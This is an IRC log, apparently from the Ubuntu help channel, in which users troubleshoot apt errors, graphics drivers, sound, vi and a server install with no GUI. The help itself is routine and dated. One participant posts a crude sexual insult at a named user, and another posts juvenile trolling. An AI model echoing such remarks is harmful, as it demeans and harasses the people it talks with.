[06:14] <mataks_> ey i got this error when trying to do update.. "Err http://be.archive.ubuntu.com breezy/main Packages Sub-process gzip returned an error code (1)" why is that? anyone can help me
[06:15] <madk> well going thru the tut and get to enter "vi /etc/network/interfaces" and the edit the network config and then I can figure out how to save it after I have edited the DHCP to make it STATIC addressing
[06:15] <Zealot87> anyone know how i can kill the "already running" gnome panel, which it shouldnt since i restarted it a second ago
[06:15] <Madm3rlin> so who here runs ubuntu on ppc
[06:15] <music_> no one
[06:15] <juano_> cant configure kmail with gmail... ne1?
[06:15] <cafuego_> Madm3rlin: I do sometimes.
[06:15] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back
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[06:16] <puff> Ajmorris: How experimental?  Basically I'm just trying to copy some bulk data over ot the USB disk, I can put it and do it later if I really need to.
[06:16] <Madm3rlin> sucks for gaming eh
[06:16] <Ajmorris> yeah
[06:16] <mataks_> ey i got this error when trying to do update.. "Err http://be.archive.ubuntu.com breezy/main Packages Sub-process gzip returned an error code (1)" why is that? anyone can help me
[06:16] <puff> Ajmorris: Er, punt it, and send the bulk data later, if I really need ot.
[06:16] <cafuego_> Madm3rlin: Nah, Scorched3D runs fine.
[06:16] <hexidigital> anyone running kubuntu edgy know how to add a keyboard shortcut for a specific command? i can't it anywhere :(
[06:16] <Madm3rlin> whats scorched3d
[06:16] <cafuego_> the only game i need :-)
[06:16] <madk> any Ideas Ajmorris?
[06:16] <Zealot87> gahh, this has GOT to work! i just dont know how to kill processes.,....hmmmm i may have a solution
[06:17] <Zealot87> anyone know the command name for the system monitor?
[06:17] <Moose> What file system should I use when partitioning?
[06:17] <cafuego_> Zealot87: gnome-system-monitor
[06:17] <Ajmorris> @puff it is quite experimental and when you write to an NTFS partition you run the risk of corrupting it. I am not sure the risks of a usb device though. Maybe just a re-format.
[06:17] <Zealot87> @cafuego: thanks
[06:17] <PORDO> crimsun http://google.com/notebook/public/00221891507267986120/BDUsxIgoQ7p_zw8Ah
[06:17] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back can any one help
[06:17] <Ajmorris> @madk whats the problem, sorry? and also how do you reply with yellow text as your name?
[06:18] <twisties> Can anyone explain how to get rid of loud buzz from my microphone output?
[06:18] <Madm3rlin> is scorched earth fun
[06:18] <madk> how I reply yellow?
[06:18] <madk> I didn't know that I was turning yellow
[06:18] <Zealot87> wooohooooo! i did it!
[06:18] <madk> lol
[06:18] <music_> twisties; turn down the volume on microphone and unchack increas 20db
[06:18] <Ajmorris> @madk lol
[06:19] <Zealot87> without gnome panel, i was able to, using many launchers, get my computer back working again :P
[06:19] <Ajmorris> do i ever turn yellow when i reply?
[06:19] <madk> AJ this is what I asked "well going thru the tut and get to enter "vi /etc/network/interfaces" and the edit the network config and then I can figure out how to save it after I have edited the DHCP to make it STATIC addressing"
[06:19] <twisties> music_: Thanks ill give it a shot ;)
[06:19] <Zealot87> without alt-f2 working as well i might add :)
[06:19] <madk> no
[06:19] <madk> onlu black always black
[06:20] <Zealot87> yeah apparently, Alt-F2 is a gnome-panel feature, so if gnome-panel isnt working then you need another way to launch apps, luckily the nautilus desktop was working !
[06:20] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back        any oner looking into this?
[06:20] <Ajmorris> @madk try through the GUI instead.
[06:20] <seth_> does anyone know of a way to install from the live CD without the gui?  I'm having issues with freq out of range, but feel like I can fix it after I install
[06:20] <mardi_soir> hello
[06:20] <crimsun> PORDO: what do you receive from aplay?
[06:20] <Zealot87> ok so now that i am done talking to the corner of this chatroom :) i will go now and make the chatroom slightly quieter haha
[06:20] <seth_> is it part of the alternate CD or something versus the "live" cd?
[06:20] <Zealot87> thanks for the help of those that reminded me of the command names!
[06:21] <madk> I am way new to ubuntu how do I even get out of the network config to get into the GUI?
[06:21] <Ajmorris> @madk how are you trying to configure the network settings? through a shell or through the start menu?
[06:21] <madk> thru BASH I think is what it is called
[06:22] <madk> the command line
[06:22] <madk> no GUI
[06:22] <music_> http://paste.ubuntu-nl.org/1243/ http://paste.ubuntu-nl.org/1244/ my driver "nvidia" wont work anty more and its on driver "nv" now and i did upgrade stuff thats what happing upgrade scew it up and i need it back                                                               ....................................................... is any one looking or u cant help me?
[06:22] <Ajmorris> @madk go to system > administration >network or network tools and try from there
[06:22] <twisties> music_: Still there :S everyone on teamspeak gets annoyed. lol, this one of my few problems keeping me on windows :(
[06:23] <music_> twisties; teamspeak....
[06:23] <madk> yeah I can't do anything I am stuck in the command line no GUI at all
[06:23] <madk> lol
[06:23] <madk> I suck man
[06:23] <Moose> So, is it normal for hard drives to rattle when creating a new file system?
[06:23] <music_> twisties; its teamspeak that doing it
[06:23] <Ajmorris> @madk how come?
[06:23] <twisties> music_: Is there a workaround?
[06:24] <music_> twisties; change the settings in the program decrease the volume in it...
[06:24] <madk> I don't know why I am stuck I was just following the tutorial word for word because this is my first ubuntu setup
[06:24] <craigbass1976> If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?
[06:24] <tweeskter> what log file do i need to check to find out why X is just killing itself every few minutes
[06:25] <Ajmorris> @madk so did ur GUI just crash?
[06:25] <music_> twisties; witch teamspeak server i might join and hear my seft..
[06:25] <madk> no following the tutorial I was never in the GUI I started and am stuck in the the command line
[06:26] <BHSPitLappy> hi, all
[06:26] <Ajmorris> @so y don't you have any GUI on your machine?
[06:26] <madk> lol I have no idea I was just following the tutorial
[06:27] <Ajmorris> @madk did u hav gui be4 u started the tutorial?
[06:27] <madk> no
[06:27] <madk> just started command prompt and the is a;;
[06:27] <Ajmorris> so y don't u fix that be4 trying to configure ur dhcp?
[06:27] <madk> I can sent you what the tutorial says so you can follow what I am saying
[06:27] <Ajmorris> kk
[06:27] <madk> can I open a PM
[06:28] <juano_> anybody know why i cant use kmail for gmail?
[06:28] <Ajmorris> yeah
[06:28] <twisties> music_: its not a public one i'd get in shit for giving out details. lol, and how can I turn down the volume? the only volume adjustment is output which is what You hear
[06:29] <madk> did you go to you PM AJ?
[06:29] <music_> twisties; is it on oss or asla
[06:30] <Ajmorris> @madk u mean private chat don't u? if so i did, i was waiting for u.
[06:30] <twisties> music_: Its on oss, im still new to linux and TS for this platform so I don't know how to change it
[06:30] <madk> yeah crap did I screw that up too
[06:30] <madk> awe man
[06:30] <madk> lol
[06:30] <SoulinEther> hey... anybody want to take 15 minutes and take a stab at my inability to get my sound card reworkin? :S
[06:30] <music_> twistties; switch to alsa
[06:30] <Madpilot> Ajmorris, madk - you need to be registered & identified to PM on this IRC server
[06:31] <Ajmorris> @Madpilot oh, ok how do we do that?
[06:31] <madk> and how would I go about that?
[06:31] <music_> twisties; switch to alsa
[06:31] <craigbass1976> If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?
[06:31] <Madm3rlin> who likes smelling farts
[06:31] <Madm3rlin> ubuntu makes u sudo
[06:31] <Madm3rlin> you cant be root
[06:31] <Madpilot> !register | Ajmorris
[06:31] <ubotu> Ajmorris: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[06:31] <Madpilot> madk, same URL for you as for Ajmorris ^^^
[06:32] <madk> !register | mack
[06:32] <ubotu> mack: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[06:32] <Ajmorris> thanx
[06:32] <madk> lol
[06:32] <madk> man do I suck or do I suck
[06:32] <madk> hehehe
[06:32] <music_> twisties; on the volume icon on desktop rightclick preferences and use the alsa one
[06:32] <madk> !register
[06:32] <ubotu> Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[06:33] <twisties> yeh, thats set to alsa now, but it makes no difference
[06:33] <SoulinEther> no luck eh? alright, thanks anyway ^^
[06:33] <tweeskter> http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL#Installing_Xgl_and_Beryl is that an accurate page to get beryl/xgl working correctly
[06:33] <Madpilot> Madm3rlin, please be polite here...
[06:34] <Madm3rlin> madpilot: whats wrong with farts =\
[06:34] <madk> crap I cannot get this IRC to work wither
[06:35] <illub> n2diy, likes man cock
[06:35] <madk> hey Aj how do I start the GUI
[06:35] <Ajmorris> @madk register and we'll go private. It's easier
[06:35] <madk> okay
[06:35] <madk> I see
[06:36] <Ajmorris> @madpilot how do we login once registered?
[06:36] <Madpilot> Ajmorris, you don't, just identify w/ nickserv
[06:36] <craigbass1976> Madm3rlin, I made a root password, so I can be root.  Do you know why I can't connect to X as root?
[06:36] <Ajmorris> @Madpilot ty
[06:36] <SoulinEther> just a quick question, I suppose you guys frequent the forums: I come from "popular" forums that tend to have replies rather quickly, from your experience how long should I expect to wait for an answer? 1 - 2 days?
[06:37] <SoulinEther> this seems reasonable, no?
[06:37] <Madpilot> Ajmorris, also, this is IRC, not IM. you don't need to use the @ thing here
[06:37] <Ajmorris> lol, ok
[06:38] <madk> man I cannot use this IRC stuff or ubuntu I think I will just go back to using Server2003
[06:38] <craigbass1976> madk, and viruses
[06:38] <SoulinEther> you can't use IRC? :S what's wrong?
[06:38] <Ajmorris> no
[06:38] <Ajmorris> use ubuntu
[06:38] <Ajmorris> i just don't understand y u hav no GUI
[06:39] <madk> lol neither do I
[06:39] <Ajmorris> how did u lose it?
[06:39] <madk> I was just following the tutorial
[06:39] <mneptok> madk: are you using a LiveCD?
[06:39] <madk> no
[06:39] <Ajmorris> send me the tutorial link
[06:39] <madk> k
[06:39] <madk> http://www.howtoforge.com/perfect_setup_ubuntu_6.06_p3?s=3f6ce987eb7240807ab311bf849fd588&
[06:39] <music_> twisties; you here?
[06:39] <Ajmorris> y did u hav no GUI be4 u started the tutorial?
[06:40] <madk> that is the network setup part
[06:40] <mneptok> madk: what happns when you type "startx" (no quotes)?
[06:40] <PaSurf> Just out of curiosity, I have a system with dual power supplies.  I also have a UPS but only have a limited amount of outlets.  One, do I connect surge protector to the outlet then distribute outlets or plug one into UPS and other into surge protector (so if power goes out, one will still be working)?
[06:40] <madk> I have no idea
[06:40] <madk> I am stuck in the network config screen I cannot get out of it
[06:40] <Tree> Hey guyshow would i go about deleting ubuntu and installing windows??
[06:40] <LameBMX> r
[06:40] <madk> how do I save the internet configuration?
[06:40] <Ajmorris> when u started the tutorial did u have GUI?
[06:41] <madk> no
[06:41] <tweeskter> tree, install windows formatting the drive in the process
[06:41] <Tree> i see
[06:41] <SoulinEther> madk: are you installing Ubuntu Server?
[06:41] <Ajmorris> where did u get to in the tutorial?
[06:41] <Tree> Also tweek i cant change my resolution in linux.
[06:41] <madk> I have installed it trying to get away from server03
[06:41] <mneptok> madk: oh, this is a server?
[06:42] <twisties> music_: Yes sorry, im side tracked with alot. I've had it set to ALSA but it makes no difference :S surely there's something im not doing right.
[06:42] <madk> yeah first time on command line windows uses GUI to config the server
[06:42] <mneptok> madk: a server usually does not have a GUI. the Ubuntu server edition CD does not include one.
[06:42] <madk> part 5 configure the network
[06:42] <SoulinEther> what's wrong?
[06:42] <SoulinEther> is it crashed? or something?
[06:43] <music_> twisties; can u type /msg music_ the server address and the port and the password if one i would like to know what type
[06:43] <Ajmorris> i didn't realise u were configuring a server.
[06:43] <Ajmorris> lol
[06:43] <Abnix> eh, what do I do if I changed my user passwd and now my root pw doesn't work...?
[06:43] <kenthomson> Hello!
[06:43] <madk> after I configured the static ip information I cannot save the config file to go on..
[06:43] <SoulinEther> why not?
[06:43] <mneptok> madk: it seems you are editing your network settings with vi at the moment?
[06:44] <jgedeon> madk: have you enabled the root account or are you sticking with sudo?
[06:44] <Abnix> ok, let me rephrase that...
[06:44] <Abnix> what do I do if I changed my user passwd and now I can't sudo anything...?
[06:44] <madk> yeah
[06:44] <mneptok> Abnix: you use the new password
[06:44] <Moose> So, I installed everthing, selected LAMP.. everything goes fine, it tells me to remove the installation media and I do. I reboot and it doesn't boot, it just stops right when it should load the OS...
[06:44] <SoulinEther> abnix: you should still be able to sudo with your new pw
[06:45] <Moose> No errors or anything, no indication of loading... It's just sitting and waiting...
[06:45] <madk> and I am stuck in the ip config
[06:45] <kenthomson> Azureus: On opening azureus after a re-boot, it does the initial loading process and i can see the main window with all my torrents loaded (it resumes its state, from the previous time) but just after the main window with all my plugins is displayed, the window simply disappears. There is no trace of Azureus in the background processes or in the minimized windows. If i re-start it, it again loads till the point of main window and than simply dissapear
[06:45] <kenthomson> s. Can someone please help?
[06:45] <Abnix> yea, my new password doesn't work...
[06:45] <mneptok> madk: <esc><esc>:q!  <-- will exit vi without saving changes
[06:45] <yoshiznit123> kenthomson, which java version are you using?
[06:45] <SoulinEther> abnix: try your old? :/
[06:46] <madk> lemme try it one sec
[06:46] <Moose> Anyone have any ideas?
[06:46] <jgedeon> madk: if you use nano instead of vi it might be easier for you.  VI commands throw some people.
[06:46] <kenthomson> yoshiznit123, Sun's proprietary one, i don't know the version number, but its the one in Ubuntu's repos
[06:46] <Abnix> yea...tried that,,,
[06:46] <jgedeon> mneptok: I thought that was the problem he wasn't able to save it.
[06:46] <Abnix> old passwd's, new one...
[06:46] <Abnix> nothing
[06:46] <BHSPitLappy> got a problem
[06:47] <SoulinEther> abnix: that's strange, have you tried changing it back?
[06:47] <yoshiznit123> kenthomson, i would suggest removing ~/.Azureus (backing up your torrents if you need them) and trying again
[06:47] <Ajmorris> madk: yeah use nano
[06:47] <Abnix> heh this is NEAT
[06:47] <Moose> So, I installed everthing, selected LAMP.. everything goes fine, it tells me to remove the installation media and I do. I reboot and it doesn't boot, it just stops right when it should load the OS...
[06:47] <madk> I was just following the tutorial I found on howtoforge.com
[06:47] <Abnix> the password I changed it to does not work
[06:47] <SoulinEther> Moose: Is this Ubuntu Server?
[06:47] <Abnix> nor does my old one
[06:47] <Moose> SoulinEther: Yep
[06:48] <madk> is there a better tutorial for setting up Ubuntu 6.06 LTS Server?
[06:48] <Ajmorris> madk: yeah the tutorial is fine but VIM is difficult.
[06:48] <SoulinEther> Abnix: maybe you mistyped your password?
[06:48] <Abnix> so obviously I must have put it to not my password twicxe
[06:48] <yoshiznit123> kenthomson, unless your plugins and other preferences are important
[06:48] <BHSPitLappy> I'm trying to record in audacity, but the sound I'm getting is all distorted. piano, for instance, sounds like a scratchy guitar or something.  This is odd, since when I just unmute the line in the volume control, it plays live through the speakers, and sounds perfect.
[06:48] <kenthomson> mneptok, jgedeon: i too have a problem with vi. I read that on pressing the insert key, it goes into the insert mode (with "insert" appearing in bottom left), and on pressing escape in normal mode. But when i press the insert key nothing of that sort happens (i mean INSERT doesn't appear in the lower left), and i have to guess. Maybe i am having vim, how do i get the classic behaviour?
[06:48] <Abnix> thanks god sudo su - has been crippled!
[06:48] <calamari> is the hardware detection on the live cd identical to when the system is installed?  I ask because the sound card was not detected
[06:48] <Moose> SoulinEther: It is Ubuntu Server
[06:48] <SoulinEther> Moose: yeah, hm, thinking :)
[06:48] <kenthomson> yoshiznit123, no other way except removing ~/.azu*?
[06:48] <music_> twisties; u here?
[06:48] <Ajmorris> madk: the tutorial is fine. Just don't use Vim
[06:48] <jgedeon> madk: just use nano instead of vi and remember the letters at the bottom need ctrl pressed with them.
[06:48] <Moose> SoulinEther: Alright, didn't know if you saw it, there were a lot of messages in between there...
[06:48] <yoshiznit123> kenthomson, or try moving it to .Azureus.bak just to see if that fixes it
[06:49] <clayg> I saw a really good guide that showed how (if you had a dual boot setup) you could reboot into xp, or reboot into ubuntu.  It involved editing grub and then calling a command either from the terminal in ubuntu or cmd/shell in windows.  Has anyone seen that guide? Or know how to do that?  I lost the link! :(
[06:49] <SoulinEther> Moose: I downloaded it and have yet to install it opting for the desktop version for my server, do you get the Ubuntu splash screen?
[06:49] <jgedeon> kenthomson: not sure.  Hate to say it but I don't use vi.
[06:49] <Abnix> I knew this no root all sudo crap was going to bite me in the ass
[06:49] <Moose> SoulinEther: Nope. Just sitting after post. Screen didn't even clear, I still see all my startup stuff.
[06:49] <SoulinEther> Abnix: I sometimes use root myself lol
[06:49] <Madm3rlin> ok
[06:49] <kenthomson> yoshiznit123, ok thank's for the help, let me try
[06:50] <jgedeon> Abnix: you can always boot into recue mode and make the needed changes.
[06:50] <Madm3rlin> is there ANY way to make cedega work on PPC
[06:50] <emss> vim rock, gedit is lighter than gvim, yet gvim starts up and runs faster than gedit :)
[06:50] <Moose> Should I stick my install disk back in and select "Boot to first drive"?
[06:50] <SoulinEther> Moose: hum, try pushing ctrl alt delete, I won't say im an expert but when i was having boot problems it showed me what was not working.
[06:50] <madk> okay I got out of that now how do I start ubuntu's GUI
[06:50] <mataks_> can someone help me how to download xmms using apt-get?
[06:50] <SoulinEther> madk: you have none. :S
[06:51] <Ajmorris> Clayg: i don't know where a guide is but i can help u.
[06:51] <SoulinEther> madk: you'd have to install one I suppose.
[06:51] <jgedeon> emss: not in an non desktop enviorment.  When it's just CDL then there is no g*
[06:51] <Moose> SoulinEther: ctrl + alt + delete just restarted my system :P
[06:51] <madk> insert bad words here lol
[06:51] <mataks_> i can't download bcoz of my source list.. maybe there's something wrogin
[06:51] <craigbass1976> If I'm root, and I want to fire up some GUI app, I get a "can't connect to X server."  I can in Fedora and Cent, why not in Ubuntu?  I have the same problem if I su - to another user and try to fire up something like thunderbird.
[06:51] <SoulinEther> Moose: heh, hum
[06:51] <jgedeon> madk: it's not that bad.
[06:51] <emss> mataks_: use aptitude instead of apt-get and type: aptitude install xmms, but I think you might need to enable other repositories
[06:51] <SoulinEther> madk: you can use aptitude or apt-get to get one I suppose?
[06:51] <madk> so what is recommended for installing server with GUI support?
[06:52] <mataks_> emss, how to enable other repositories?
[06:52] <SoulinEther> Hm, would sudo aptitude gnome-desktop be sufficient for getting GNOME?
[06:52] <emss> mataks_: you must edit /etc/apt/sources.list
[06:52] <jgedeon> If you have to have the gui then just do apt-get install ubuntu-desktop
[06:52] <calamari> anyone happen to know if the sound card detection when booting from the live cd is the same as when the system is installed?
[06:52] <Ajmorris> Clayg: u still there?
[06:52] <craigbass1976> calamari, should be
[06:52] <SoulinEther> calamari: should be.
[06:52] <SoulinEther> hehe
[06:52] <calamari> craigbass1976, SoulinEther: thanks
[06:52] <emss> SoulinEther: why use GNOME to run a server? that makes no sense
[06:53] <craigbass1976> SoulinEther, I did that twice tonight speaking too.  Getting weirded out now...
[06:53] <SoulinEther> emss: No idea :P
[06:53] <mataks_> emss,  then? what will i change? i've already edit the source list since yesterday but i get some errors.
[06:53] <calamari> guess my sound card is either not detected or not supported.. need to figure out which one :)
[06:53] <SoulinEther> craigbass: hehehe
[06:53] <emss> mataks_: what errors?
[06:53] <jgedeon> emss: cause he is coming from a M$ world and is getting frustrated with the CDL
[06:53] <madk> I am very mad lol
[06:53] <SoulinEther> emss: besides, he needs to adapt I suppose
[06:53] <emss> jgedeon: well he will be using a terminal in GNOME
[06:53] <emss> :)
[06:53] <madk> I am so used to GUI configuration
[06:53] <madk> lol
[06:54] <SoulinEther> emss: hehe, well, that's what I did :P
[06:54] <tweeskter> what log file would help me find out why Xorg is dieing after a few minutes of use?
[06:54] <craigbass1976> SoulinEther, know anything about my gui problem?
[06:54] <Moose> Should I reinstall ubuntu server and let it automatically partition my drives?
[06:54] <jgedeon> emss: but he can then use gedit to edit the files that he needs to I guess.
[06:54] <lupine_aa> tweeskter: /var/log/Xorg.0.log
[06:54] <mataks_> emss,  wait i'll show you
[06:54] <SoulinEther> craigbass: which is? :S is it in here? i can look for it.
[06:54] <lupine_aa> also, type "dmesg" in a terminal and look at that output
[06:54] <lupine_aa> nVidia?
[06:54] <tweeskter> lupine_aa it doesnt contain anything relevant in either of those
[06:54] <tweeskter> yes
[06:54] <lupine_aa> any mention of Xid errors?
[06:54] <craigbass1976> SoulinEther, a little ways before calamari's quesiton
[06:55] <jgedeon> madk: would you like a little help in working with CLI with the server set up?
[06:55] <tweeskter> not a single thing, yesterday i installed the card, XGL beryl etc, and it worked until i rebooted tonight basically. worked perfectly, now it doesnt at all
[06:55] <curs0r> hi folks, quick question, how would i go about restricting an audigy4 to stereo only in edgy?
[06:55] <lupine_aa> ah, probably xgl then
[06:55] <lupine_aa> any reason why you didn'ty
[06:55] <lupine_aa> !nvidiabeta
[06:55] <SoulinEther> craigbass1976: should be no reason why you can't.
[06:55] <ubotu> For Ubuntu 6.10 (Edgy Eft), you can obtain the (unsupported!) 9746 version of the binary NVidia drivers by using this repository: deb http://nvidia.limitless.lupine.me.uk/ubuntu edgy stable
[06:56] <craigbass1976> SoulinEther, I didn't think so either, but that's the error I get.
[06:56] <SoulinEther> craigbass1976: since it's basically the same thing, why not just sudo it? like... sudo gedit
[06:56] <mataks_> emss,  here's the error http://paste.ubuntu-nl.org/1266/
[06:56] <tweeskter> but yesterday it worked until i rebooted thats the funny thing, so it obviously does work correctly, but something isnt happening when i start up
[06:56] <SoulinEther> craigbass1976: both work for me personally.
[06:56] <madk> I am installing the GUI I am sure I can figure it out from there.
[06:56] <madk> thanks for the help
[06:57] <Madm3rlin> haha
[06:57] <SoulinEther> madk: cool :P
[06:57] <craigbass1976> SoulinEther, well, that still wouldn't solve the other user issue.  I have fedora on the "family" box right now, and I'm thinking of putting ubuntu on it.  But not if I have to switch user to get at my email and browser.  I want to be able to fire it up from the command line real quick
[06:57] <mataks_> emss,  still there?
[06:57] <Madm3rlin> how can you have a problem installing ubuntu =\
[06:57] <calamari> I apologize for this question, because it seems like I should already know.. but how can I find out the pci id's of the devices in my system (specifically the sound)
[06:57] <madk> I will probably be back later after it installs
[06:57] <madk> lol
[06:57] <Madm3rlin> its easier than windows
[06:57] <craigbass1976> calamari, lspci
[06:57] <emss> mataks_: yes
[06:57] <mataks_> emss,  here's the error http://paste.ubuntu-nl.org/1266/
[06:57] <SoulinEther> craigbass1976: why would you have to switch user? I'm confused, I think.
[06:57] <emss> mataks_: yes I see
[06:57] <calamari> craigbass1976: thank you
[06:57] <jgedeon> madk: Ok good luck if you need any help just hollar..  Have two ubuntu servers and an edubuntu server sitting here.
[06:57] <tweeskter> i used this page as the how to http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL#Installing_Xgl_and_Beryl
[06:57] <madk> I would say you insane at this point lol
[06:57] <mataks_> i got the error when i do sudo apt-get update
[06:57] <mataks_> emss,  why is that?
[06:58] <Moose> I just tossed ubuntu into rescue mode, i'll redo the partitioning
[06:58] <SoulinEther> Moose: sound's like a plan :P
[06:58] <Moose> I think that could be whats causing it.
[06:58] <craigbass1976> SoulinEther, Well, if my wife logged into the GUI, and I open up a terminal and want to fire up my thunderbird, I can't.  I'll get the can't connect to x error.  I could switch user (the GUI version) and get my desktop environment, but it takes longer
[06:58] <emss> mataks_: are you using edgy?
[06:59] <mataks_> emss, no.. breezy
[06:59] <SoulinEther> craigbass1976: hm, that would be a problem, hm
[06:59] <craigbass1976> SoulinEther, I've got to go.  I'll figure it out.  It's 1am here
[06:59] <craigbass1976> Thanks though
[06:59] <SoulinEther> craigbass1976: alright, I guess I Should too, good luck
[06:59] <SoulinEther> drat, 1 second too late.
[06:59] <emss> mataks_: can you paste your sources.list?
[06:59] <SoulinEther> well, 2 :P
[06:59] <mataks_> emss, ok wait
[07:00] <xXcorruptedXx> bye people
[07:00] <jack_> hi guys... I'm running xubuntu and i did apt-get install ubuntu-desktop... and it still looks like xubuntu,,, i dont know if i restart will it run gnome/?
[07:00] <male-cious1> hello all
[07:00] <male-cious1> help
[07:00] <male-cious1> using mobility 9000 ati card
[07:01] <male-cious1> anyone know how to install the old 8.28 driver to get 3d
[07:01] <mataks_> emss, ok here http://paste.ubuntu-nl.org/1267/
[07:01] <emss> jack_ select gnome in the gdm area where it allows you to edit your session
[07:01] <jgedeon> jack_: at the sign in there should be a choice where you can choose what you want.  Just click on session
[07:01] <Flannel> jack_: you'll need to restart X, then you'll come up with either GDM or XDM, you can choose beetween gnome and xfce under "session" on the login screen
[07:01] <male-cious1> i tried editing .... my xorg to use fglrx it crashes
[07:01] <male-cious1> xserver
[07:01] <Ajmorris> jack_: on the login screen (most likely GDM) you have to click sessions and choose Gnome instead of your previous one.
[07:02] <emss> mataks_: ok
[07:02] <male-cious1> HELP?
[07:02] <mataks_> emss,  can you see the problem.. I've been working this since last night
[07:02] <jgedeon> mataks_: are you on a home network or an other network?
[07:02] <Ajmorris> male-cious1: just  restore it to the automatic backup (xorg.conf~)
[07:02] <mataks_> changing sources list but still got the same error
[07:03] <mataks_> jgedeon, no.
[07:03] <male-cious1> i have got a bak up
[07:03] <Flannel> ls
[07:03] <male-cious1> but like to have 3d and using fglrx
[07:03] <jgedeon> mataks_: what do you mean no?
[07:03] <Ajmorris> is this for beryl?
[07:03] <mataks_> jgedeon, im not on a network..
[07:03] <male-cious1> that too and games
[07:04] <Ajmorris> did u follow the setup on beryl-project.org?
[07:04] <jgedeon> mataks_: Reason I ask is if the network is proxy'd you might be getting block.  I have a couple locations like that and it throws the same errors.
[07:04] <male-cious1> im using xserver right now..
[07:04] <male-cious1> ajmoris is did
[07:04] <male-cious1> seems ati has ditched my card
[07:04] <male-cious1> im the lucky owner of a t42 ibm laptop
[07:04] <mataks_> jgedeon, what you mean? i don't get it. im just new to linux..
[07:04] <Ajmorris> so u have an ati card but u wanna use fglrx?
[07:05] <Berseker> hi!
[07:05] <male-cious1> AJ to be honest
[07:05] <male-cious1> anything that wold work
[07:05] <male-cious1> but i read the open source drivers are slwo
[07:05] <male-cious1> there are so many to choose from
[07:05] <male-cious1> i just want to install ATI drivers if possible
[07:05] <male-cious1> the last support for my card is ver 8.28
[07:06] <Ajmorris> so u don't have current drivers?
[07:06] <male-cious1> using default drivers atm with edgy
[07:06] <jgedeon> mataks_: You get the same posted error if you run the command a couple of times in a row?
[07:06] <mataks_> jgedeon, yes.. it's the same error everytime
[07:06] <corevette> i can't start up ubuntu
[07:07] <jgedeon> mataks_: IF you are running as root then why are you needing to use sudo?
[07:07] <corevette> is there a way to fix the startup?
[07:07] <male-cious1> no i dont
[07:07] <corevette> i can't get to recovery mode either
[07:07] <male-cious1> :(
[07:07] <male-cious1> and cant install 8.35
[07:07] <male-cious1> because it doesnt support my cardi itired
[07:07] <Ajmorris> maybe try the xgl tutorial and forget the ati drivers
[07:07] <emss> mataks_: yeh, I do not know :\
[07:07] <mataks_> jgedeon, dunno.. that's what they said :p .. im just a newbie :)
[07:07] <male-cious1> and read only 8.28 works
[07:07] <male-cious1> :(
[07:08] <male-cious1> i got XGL kinda runnig but its slow
[07:08] <male-cious1> as another session i followed someones tutorial
[07:08] <jgedeon> mataks_: did you enable the root account?
[07:08] <mataks_> jgedeon, do you think it's been blocked?
[07:08] <mataks_> jgedeon, i don't know how to enable root account.. how? all i do is when i run on terminal i do the "su" then my password
[07:08] <calamari> looks like my sound card is only supported in linux 2.6.18
[07:09] <Ajmorris> i  have seen reports that XGL doesn't run slow.
[07:09] <male-cious1> yes tell me how to get 3d
[07:09] <Ajmorris> did u use the one on beryl-project.org?
[07:09] <male-cious1> acceleration i want to play games
[07:09] <male-cious1> too
[07:09] <male-cious1> lol
[07:09] <jgedeon> mataks_: ok give me a minute I'm looking at one of your problem servers.
[07:09] <male-cious1> hmm hang on let me show u my soruces.list
[07:09] <male-cious1> repos im using
[07:09] <corevette> is there a way i can do a safe restore for ubuntu? i can't start up ubuntu
[07:10] <male-cious1> livecd?
[07:10] <male-cious1> or reinstall
[07:10] <male-cious1> :P
[07:10] <corevette> male-cious1 talking to me?
[07:10] <male-cious1> yes im no help to you icant even install my vid driver :(
[07:10] <jgedeon> mataks_: is this the first day that you have had this problem?
[07:11] <male-cious1> ajmorris u here?
[07:11] <emss> mataks_: ftp://ftp.nerim.net/debian-marillat/ doesn't exist
[07:11] <steelb> Man, I messed up my ubuntu this time. I just installed the gui for hamachi, and I run it and x serv shuts down and when i try to start it from the command prompt i get the error: failed to load module "wfb" and the fatal error: cannot open '/lib/modules/2.6.17-10-generic/volatile/nvidia.ko' it doesnt exist. Any help?
[07:11] <calamari> how do I compile a kernel so that I get the initrd part?  or is that a separate step?
[07:11] <Ajmorris> yeah
[07:11] <Ajmorris> did u add the xgl session?
[07:12] <male-cious1> i have a xgl session
[07:12] <male-cious1> it works
[07:12] <male-cious1> kinda
[07:12] <Ajmorris> do u get the beryl icon in the tray?
[07:12] <wasabipeas2> Can someone explain to me how to forward ports through Ubuntu? I have the ports forwarded on my router, but every time I try to use azureus, I get a nat error
[07:12] <male-cious1> but i loose the apps/places/sys tool bars i can only load appd or shortcuts on my desktop
[07:13] <male-cious1> and i can resize windows
[07:13] <mataks_> jgedeon,  today would be my 2nd day fixing this problem
[07:13] <male-cious1> no i dont have one
[07:13] <mataks_> emss, ok thnx
[07:13] <Ajmorris> press alt+F2 and type beryl-manager
[07:14] <lotacus> can someone help me with flash9 and firefox for x64 ? I've followed some instructions and I have the plugin installed into /usr/lib/totem/ but firefox still doesn't load it.
[07:14] <corevette> well unless theres no safe restore for ubuntu....i'm switching to suse or fedora
[07:15] <male-cious1> ermm what happened my screen
[07:15] <male-cious1> flashed
[07:15] <mataks_> jgedeon, with this problem i even can't download xmms using apt-get install xmms
[07:15] <Ajmorris> yeah it is trying to use beryl
[07:15] <male-cious1> im using xserver
[07:15] <male-cious1> atm
[07:15] <male-cious1> i need to log out
[07:15] <male-cious1> of this session to use XGL
[07:15] <Moose> Is there a command to see all directories on all partitions? Also the size of the partition?
[07:16] <male-cious1> and i explained it not properly working
